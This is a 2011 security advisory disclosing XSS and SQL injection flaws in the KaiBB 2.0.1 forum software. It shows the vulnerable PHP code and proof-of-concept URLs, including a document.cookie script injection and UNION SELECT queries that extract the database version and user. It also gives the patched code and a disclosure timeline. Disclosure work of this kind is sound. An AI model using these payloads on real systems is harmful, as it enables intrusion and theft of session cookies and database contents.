Advisory: KaiBB 2.0.1 XSS and SQL Injection vulnerabilities
Advisory ID: SSCHADV2011-027
Author: Stefan Schurtz
Affected Software: Successfully tested on KaiBB 2.0.1
Vendor URL: http://code.google.com/p/kaibb/
Vendor Status: informed
CVE-ID: -
KaiBB 2.0.1 is prone to XSS and SQL Injection vulnerabilities
if ( isset($_GET['forum']))
{
$id = $secure->clean($_GET['forum']);
$doGet = $db->query("SELECT * FROM " . $prefix . "_topics WHERE forum_id = '".$_GET['forum']."' ORDER BY id DESC LIMIT 15");
} else {
$doGet = $db->query("SELECT * FROM " . $prefix . "_topics ORDER BY id DESC LIMIT 15");
}
class secure {
function clean($content) {
$content = mysql_real_escape_string(htmlspecialchars($content));
return $content;
}
$session_location = $_SERVER['REQUEST_URI'];
Cross-site Scripting
http://<target>/kaibb/?'</script><script>alert(document.cookie)</script>
http://<target>/kaibb/index.php?'</script><script>alert(document.cookie)</script>
SQL Injection
http://<target>/kaibb/rss.php?forum=' UNION ALL SELECT NULL, NULL, NULL, NULL, NULL, NULL, NULL AND 'a'='a
http://<target>/kaibb/rss.php?forum=' UNION ALL SELECT NULL, version(), NULL, NULL, NULL, NULL, NULL AND 'a'='a
http://<target>/kaibb/rss.php?forum=' UNION ALL SELECT NULL, user(), NULL, NULL, NULL, NULL, NULL AND 'a'='a
if ( isset($_GET['forum']))
{
$id = $secure->clean($_GET['forum']);
//$doGet = $db->query("SELECT * FROM " . $prefix . "_topics WHERE forum_id = '".$_GET['forum']."' ORDER BY id DESC LIMIT 15");
$doGet = $db->query("SELECT * FROM " . $prefix . "_topics WHERE forum_id = '". $id ."' ORDER BY id DESC LIMIT 15");
} else {
$doGet = $db->query("SELECT * FROM " . $prefix . "_topics ORDER BY id DESC LIMIT 15");
}
//$session_location = $_SERVER['REQUEST_URI'];
$session_location = $_SERVER['SCRIPT_NAME'];
or
$session_location = htmlspecialchars($_SERVER['REQUEST_URI'],ENT_QUOTES);
08-Oct-2011 - informed developers
08-Oct-2011 - release date of this security advisory
09-Oct-2011 - Post on BugTraq
Vulnerability found and advisory written by Stefan Schurtz.
http://code.google.com/p/kaibb/
http://code.google.com/p/kaibb/issues/detail?id=2
http://www.rul3z.de/advisories/SSCHADV2011-027.txt